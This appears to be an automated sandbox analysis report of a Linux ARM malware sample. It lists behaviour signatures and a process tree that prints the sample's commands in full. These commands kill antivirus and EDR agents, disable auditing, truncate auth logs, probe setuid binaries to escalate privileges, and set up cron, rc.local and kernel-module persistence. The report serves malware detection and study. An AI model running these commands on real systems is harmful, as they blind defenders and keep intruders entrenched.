Analysis
- max time kernel
149s - max time network
152s - platform
debian-12_armhf - resource
debian12-armhf-20260513-en - resource tags
- submitted
23/09/2026, 12:13
General
- Target xdzlewkx.armv6.elf
- Size 921KB
- Sample260923-pdvsqaba96
- SHA256 14cbefc1a6eb8ca5eb760a61e69b8c49ccd3298c3c7d12612c66b70af492c4e7
Score
8/10
Malware Config
Signatures
- Contacts a large (512) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
- OS Credential Dumping 1 TTPs 2 IoCs
Adversaries may attempt to dump credentials to use it in password cracking.
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 8 IoCs
Abuse sudo or cached sudo credentials to execute code.
- Reads AppArmor ptrace settings 1 TTPs 1 IoCs
Discovery of allowed ptrace capabilities by AppArmor.
- Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
- Creates/modifies Cron job 1 TTPs 4 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Deletes log files 1 TTPs 4 IoCs
Deletes log files on the system.
- Enumerates running processes
Discovers information about currently running processes on the system
- Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
- Reads MAC address of network interface 2 TTPs 2 IoCs
Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.
- Reads network interface configuration 2 TTPs 6 IoCs
Fetches information about one or more active network interfaces.
- Schedules an At job 1 TTPs 2 IoCs
Schedules a job to be run using the at command.
- Uses Polkit to run commands 2 IoCs
Uses Polkit pkexec as a proxy to execute commands, possibly to bypass security restrictions.
- Changes its process name 1 IoCs
- Checks CPU configuration 1 TTPs 5 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads CPU attributes 1 TTPs 10 IoCs
- Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
Processes
-
/tmp/xdzlewkx.armv6.elf/tmp/xdzlewkx.armv6.elf1⤵
- Modifies Watchdog functionality
- Checks hardware identifiers (DMI)
- Reads MAC address of network interface
- Changes its process name
- Checks CPU configuration
- Reads CPU attributes
- Reads runtime system information
-
/bin/shsh -c -- "cp /proc/self/exe /var/.z 2>/dev/null && chmod +x /var/.z 2>/dev/null"2⤵
- File and Directory Permissions Modification
-
/usr/bin/cpcp /proc/self/exe /var/.z3⤵
-
-
/usr/bin/chmodchmod +x /var/.z3⤵
- File and Directory Permissions Modification
-
-
-
/bin/shsh -c -- "pkill -9 -x kavsvc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x kavf4 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x kavguard 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp5 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp6 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msvsc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msasc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msmpeng 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msseces 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x msseces.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avast 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avast5 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avast6 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avastsvc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x ash 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x ashmaisv 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt2 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avgnt3 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x clamd 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x clamdscan 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x clamonacc 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-prot 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-prot64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-sport 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x f-sport64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x smon 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x smon2 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x smon3 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mcs 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mcs2 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mcs3 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navpsv32 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navpsv64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navw32 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x navw64 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avpsvc.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avpcc.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avpm.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp9.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp10.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp11.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp12.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp13.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp14.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp15.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp16.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp17.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp18.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp19.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp20.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp21.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp22.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp23.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp24.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp25.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp26.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp27.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp28.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp29.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp30.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp31.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp32.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp33.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp34.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp35.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp36.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp37.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp38.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp39.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp40.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp41.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp42.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp43.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp44.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp45.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp46.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp47.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp48.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp49.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x avp50.exe 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [f]alcond 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [f]alcon 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]sagent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]rowdstrike 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]entinelagent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]entinelhelper 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]1-agent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]1-service 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [x]agt 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]bdefense 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]bagent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]arbonblack 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [r]epwel 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]ylance 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]vcdiva 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [m]datp 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [m]dallaips 2>/dev/null &"2⤵
- System Network Configuration Discovery
-
-
/bin/shsh -c -- "pkill -9 -f [s]ensedata 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]ophos 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]avscanner 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [r]tvscan 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]ymantec 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [S]ymAux 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [t]rendmicro 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [d]s_agent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [e]dragent 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [o]squeryd 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [s]ysmon 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [c]lamd 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [k]lscan 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -f [k]avfs 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "auditctl -e 0 2>/dev/null &pkill -9 [a]uditd 2>/dev/null &pkill -9 -f [s]noop 2>/dev/null &pkill -9 -f [a]ccton 2>/dev/null &"2⤵
-
/usr/sbin/auditctlauditctl -e 03⤵
-
-
-
/bin/shsh -c -- "truncate -s 0 /var/log/auth* /var/log/secure /var/log/wtmp /var/log/lastlog 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mirai 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mirai.arm 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x mirai.mips 2>/dev/null &"2⤵
- System Network Configuration Discovery
-
-
/bin/shsh -c -- "pkill -9 -x mirai.mpsel 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x gafgyt 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x bashlite 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x tsunami 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x hakai 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x sora 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x qbot 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x astaroth 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x ozyman 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "pkill -9 -x nihappy 2>/dev/null &"2⤵
-
-
/bin/shsh -c -- "unlink /proc/self/exe 2>/dev/null; for fd in /proc/self/fd/*; do unlink \$fd 2>/dev/null; done &"2⤵
-
/usr/bin/unlinkunlink /proc/self/exe3⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/03⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/13⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/103⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/113⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/123⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/133⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/143⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/153⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/163⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/173⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/183⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/193⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/23⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/203⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/213⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/223⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/233⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/243⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/253⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/263⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/283⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/293⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/33⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/303⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/313⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/323⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/333⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/343⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/353⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/363⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/373⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/383⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/43⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/413⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/53⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/63⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/73⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/83⤵
-
-
/usr/bin/unlinkunlink /proc/self/fd/93⤵
-
-
-
/bin/shsh -c -- "/usr/bin/mailq -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/mailq/usr/bin/mailq -c "exec /tmp/.z &"3⤵
- Checks CPU configuration
-
-
-
/bin/shsh -c -- "/usr/bin/mount -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/mount/usr/bin/mount -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/su -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/su/usr/bin/su -c "exec /tmp/.z &"3⤵
- OS Credential Dumping
-
/bin/bashbash -c "exec /tmp/.z &"4⤵
-
-
-
-
/bin/shsh -c -- "/usr/bin/at -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/at/usr/bin/at -c "exec /tmp/.z &"3⤵
- Schedules an At job
-
-
-
/bin/shsh -c -- "/usr/bin/umount -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/umount/usr/bin/umount -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/atrm -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/atrm/usr/bin/atrm -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/passwd -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/passwd/usr/bin/passwd -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/atq -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/atq/usr/bin/atq -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/newgrp -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/newgrp/usr/bin/newgrp -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/pkexec -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/pkexec/usr/bin/pkexec -c "exec /tmp/.z &"3⤵
- Uses Polkit to run commands
-
-
-
/bin/shsh -c -- "/usr/bin/sudo -c 'exec /tmp/.z &' 2>/dev/null"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
/usr/bin/sudo/usr/bin/sudo -c "exec /tmp/.z &"3⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
-
-
/bin/shsh -c -- "/usr/bin/chsh -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/chsh/usr/bin/chsh -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/gpasswd -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/gpasswd/usr/bin/gpasswd -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/sg -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/sg/usr/bin/sg -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/newaliases -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/newaliases/usr/bin/newaliases -c "exec /tmp/.z &"3⤵
- Checks CPU configuration
-
-
-
/bin/shsh -c -- "/usr/bin/chfn -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/usr/bin/chfn/usr/bin/chfn -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/usr/bin/sudoedit -c 'exec /tmp/.z &' 2>/dev/null"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
/usr/bin/sudoedit/usr/bin/sudoedit -c "exec /tmp/.z &"3⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
-
-
/bin/shsh -c -- "/bin/mailq -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/mailq/bin/mailq -c "exec /tmp/.z &"3⤵
- Checks CPU configuration
-
-
-
/bin/shsh -c -- "/bin/mount -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/mount/bin/mount -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/su -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/su/bin/su -c "exec /tmp/.z &"3⤵
- OS Credential Dumping
-
/bin/bashbash -c "exec /tmp/.z &"4⤵
-
-
-
-
/bin/shsh -c -- "/bin/at -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/at/bin/at -c "exec /tmp/.z &"3⤵
- Schedules an At job
-
-
-
/bin/shsh -c -- "/bin/umount -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/umount/bin/umount -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/atrm -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/atrm/bin/atrm -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/passwd -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/passwd/bin/passwd -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/atq -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/atq/bin/atq -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/newgrp -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/newgrp/bin/newgrp -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/pkexec -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/pkexec/bin/pkexec -c "exec /tmp/.z &"3⤵
- Uses Polkit to run commands
-
-
-
/bin/shsh -c -- "/bin/sudo -c 'exec /tmp/.z &' 2>/dev/null"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
/bin/sudo/bin/sudo -c "exec /tmp/.z &"3⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
-
-
/bin/shsh -c -- "/bin/chsh -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/chsh/bin/chsh -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/gpasswd -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/gpasswd/bin/gpasswd -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/sg -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/sg/bin/sg -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/newaliases -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/newaliases/bin/newaliases -c "exec /tmp/.z &"3⤵
- Checks CPU configuration
-
-
-
/bin/shsh -c -- "/bin/chfn -c 'exec /tmp/.z &' 2>/dev/null"2⤵
-
/bin/chfn/bin/chfn -c "exec /tmp/.z &"3⤵
-
-
-
/bin/shsh -c -- "/bin/sudoedit -c 'exec /tmp/.z &' 2>/dev/null"2⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
/bin/sudoedit/bin/sudoedit -c "exec /tmp/.z &"3⤵
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
-
-
-
/bin/shsh -c -- "find / -perm -4000 -type f -exec /tmp/.z \\; 2>/dev/null"2⤵
-
/usr/bin/findfind / -perm -4000 -type f -exec /tmp/.z ";"3⤵
- Reads AppArmor ptrace settings
- Reads network interface configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
/tmp/.z/tmp/.z4⤵
-
-
-
-
/bin/shsh -c -- "(crontab -l 2>/dev/null; echo '*/5 * * * * { [ -x /tmp/.z ] || cp /var/.z /tmp/.z 2>/dev/null || cp /etc/.z /tmp/.z 2>/dev/null; }; [ -x /tmp/.z ] && /tmp/.z') | crontab - 2>/dev/null; echo '*/5 * * * * root { [ -x /tmp/.z ] || cp /var/.z /tmp/.z 2>/dev/null || cp /etc/.z /tmp/.z 2>/dev/null; }; [ -x /tmp/.z ] && /tmp/.z' > /etc/cron.d/zbot 2>/dev/null; echo '{ [ -x /tmp/.z ] || cp /var/.z /tmp/.z 2>/dev/null || cp /etc/.z /tmp/.z 2>/dev/null; }; [ -x /tmp/.z ] && /tmp/.z' >> /etc/rc.local 2>/dev/null &"2⤵
- Creates/modifies Cron job
- Modifies rc script
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
-
/bin/shsh -c -- "echo '*/5 * * * * { [ -x /tmp/.z ] || cp /var/.z /tmp/.z 2>/dev/null || cp /etc/.z /tmp/.z 2>/dev/null; }; [ -x /tmp/.z ] && /tmp/.z' > /var/spool/cron/zbot 2>/dev/null; echo '*/5 * * * * { [ -x /tmp/.z ] || cp /var/.z /tmp/.z 2>/dev/null || cp /etc/.z /tmp/.z 2>/dev/null; }; [ -x /tmp/.z ] && /tmp/.z' >> /etc/crontab 2>/dev/null &"2⤵
- Creates/modifies Cron job
-
-
/bin/shsh -c -- "insmod /tmp/zbot.ko 2>/dev/null; modprobe zbot 2>/dev/null &"2⤵
-
/usr/sbin/insmodinsmod /tmp/zbot.ko3⤵
-
-
-
/usr/bin/pkillpkill -9 -x kavsvc1⤵
-
/usr/bin/pkillpkill -9 -x kavf41⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x kavguard1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp1⤵
-
/usr/bin/pkillpkill -9 -x avp51⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp61⤵
-
/usr/bin/pkillpkill -9 -x msvsc1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x msasc1⤵
-
/usr/bin/pkillpkill -9 -x msmpeng1⤵
-
/usr/bin/pkillpkill -9 -x msseces1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x msseces.exe1⤵
-
/usr/bin/pkillpkill -9 -x avast1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avast51⤵
-
/usr/bin/pkillpkill -9 -x avast61⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avastsvc1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x ash1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x ashmaisv1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avgnt1⤵
-
/usr/bin/pkillpkill -9 -x avgnt.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avgnt21⤵
-
/usr/bin/pkillpkill -9 -x avgnt31⤵
-
/usr/bin/pkillpkill -9 -x clamd1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x clamdscan1⤵
-
/usr/bin/pkillpkill -9 -x clamonacc1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x f-prot1⤵
-
/usr/bin/pkillpkill -9 -x f-prot641⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x f-sport1⤵
-
/usr/bin/pkillpkill -9 -x f-sport641⤵
-
/usr/bin/pkillpkill -9 -x smon1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x smon21⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x smon31⤵
-
/usr/bin/pkillpkill -9 -x mcs1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x mcs21⤵
-
/usr/bin/pkillpkill -9 -x mcs31⤵
-
/usr/bin/pkillpkill -9 -x navpsv321⤵
-
/usr/bin/pkillpkill -9 -x navpsv641⤵
-
/usr/bin/pkillpkill -9 -x navw321⤵
-
/usr/bin/pkillpkill -9 -x navw641⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp.exe1⤵
-
/usr/bin/pkillpkill -9 -x avpsvc.exe1⤵
-
/usr/bin/pkillpkill -9 -x avpcc.exe1⤵
- Reads runtime system information
-
